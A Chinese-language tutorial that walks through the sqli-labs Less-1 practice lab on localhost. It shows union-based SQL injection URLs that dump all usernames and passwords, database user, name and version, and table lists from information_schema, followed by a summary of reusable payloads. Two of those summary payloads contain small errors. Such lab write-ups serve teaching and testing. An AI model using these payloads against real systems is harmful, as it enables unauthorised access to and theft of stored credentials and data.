一、第一次见面
1.初识
提示输入id,因此访问http://localhost/Less-1/?id=1
可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码
2.进一步了解
每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问。
既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27
没毛病报错了,说明单引号会被算入sql语句中
假设一下,这个sql语句是这样构造的:
$sql = "SELECT * FROM USER WHERE `id` = '$_GET["id"]' LIMIT 0,1;
如果我们的假设成立,那只要将单引号补全,然后就可以在后面添加自己的查找条件了,试一下。
只返回一条数据,很气人,可能只显示查询结果的第一条数据。
尝试一下永真式,1=1,‘1’=‘1’等。
关键的步骤是我们闭合自带的单引号并且在后面添加自己的语句,注释掉后面没用的语句。
对于注释我们使用
1.编码过的#也就是%23,因为#在html中是锚的意思,可以理解为标签,所以不会自动编码,需要手动编码
2.--与空格,但是空格在url中会被屏蔽,所以使用+代替,也就是--+或者--%20
二、动点小心思
1.我们想要一次性取出多个用户名和密码
所以构造http://localhost/Less-1/?id=1' or id=2 --+
但是我们发现只会返回一个用户名,所以我们猜测这里只会返回搜索到的所有结果的第一条(后来通过查看源码可以知道,真的是这样)
那么我们想,如果第一个结果数据为空,那么是不是就可以返回我们想要的第二条数据。
所以构造http://localhost/Less-1/?id=-1' or id=2 --+
果真返回了第二条数据。
如何查看这个user表中有几列呢?不知道列名。
我们通过排序,按照某一列排序,如果报错说明没有这一列
http://localhost/Less-1//?id=1' order by 4 %23
当按第四列排序时候出错,所以只有三列
可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息
但是我们需要一次性获取多个用户名和密码,那么久用到了group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成。
意思就是说,一次只返回一个字符串的话,我们可以用这个函数把很多个结果合并成一个字符串一次性输出
构造http://localhost/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --+
成功一次性返回所有的用户名和密码。
3. 有点太好奇
我们还是不满足,我们还想知道这个数据库名,用户名,数据库版本信息,那怎么办?
concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
char():将十进制ASCII码转化成字符
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
虽然不太会sql语句,但是看他列出的几个重要函数,大体的意思也就有了,看样子想要通过concat_ws()函数一次性取出多个数据然后合并成一条数据传出来破解对传出数据条数的限制。要获取的重要数据有数据库用户名、数据库名、数据库版本。。。
构建http://localhost/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23
数据库的一些基本信息就出来了,用户root,数据库名security。
三、不知羞耻,竟想看穿所有?
我们满足吗?
不满足!!
我们想要知道所有的信息,所有的库名、表名、列名等等。。。
先来学习一下
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表:
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。是show columns from schemaname.tablename的结果取之此表。
我们想要了解所有信息,就要从这些信息下手,一步步脱光。。。脱裤。。。库。。。
接下在使用union来获取各种信息。
可以通过LIMIT来获取
http://localhost/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 LIMIT 3,3 %23
注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。
security的十六进制转换是:0x7365637572697479
16进制转换地址:http://www.bejson.com/convert/ox2str/
好了学会了union和group_concat()了,试一下
http://localhost/Less-1/?id=-1' union select 1,2,group_concat(char(32),table_name,char(32)) from information_schema.tables %23
这都返回了些啥??
加一个where筛选
http://localhost/Less-1/?id=-1' union select 1,2,group_concat(char(32),table_name,char(32)) from information_schema.tables where table_schema=0x7365637572697479 %23
表名都出来了,那就看一些每个表里面都有啥
补充:
URL字符转义
用其它字符替代吧,或用全角的。
+ URL 中+号表示空格 %2B
空格 URL中的空格可以用+号或者编码 %20
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
% 指定特殊字符 %25
# 表示书签 %23
& URL 中指定的参数间的分隔符 %26
= URL 中指定参数的值 %3D
总结
提前写好一些常用的查询重要数据的sql语句
1. 查询用户名,数据库名,数据库版本信息:
union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23
2. 查询一个库中所有的表的名字
union select group_concat(char(32),table_name,char(32)) from information_schema.tables where table_schema=0x7365637572697479 %23
注意。在系统自带的表中查东西,where后面的值应该是单引号包裹或者16进制编码,通常用16进制
3. 查询一个表中所有列的名字
union select group_concat(char(32),table_name,char(32)) from information_schema.COLUMNS where table_schema=0x7365637572697479 %23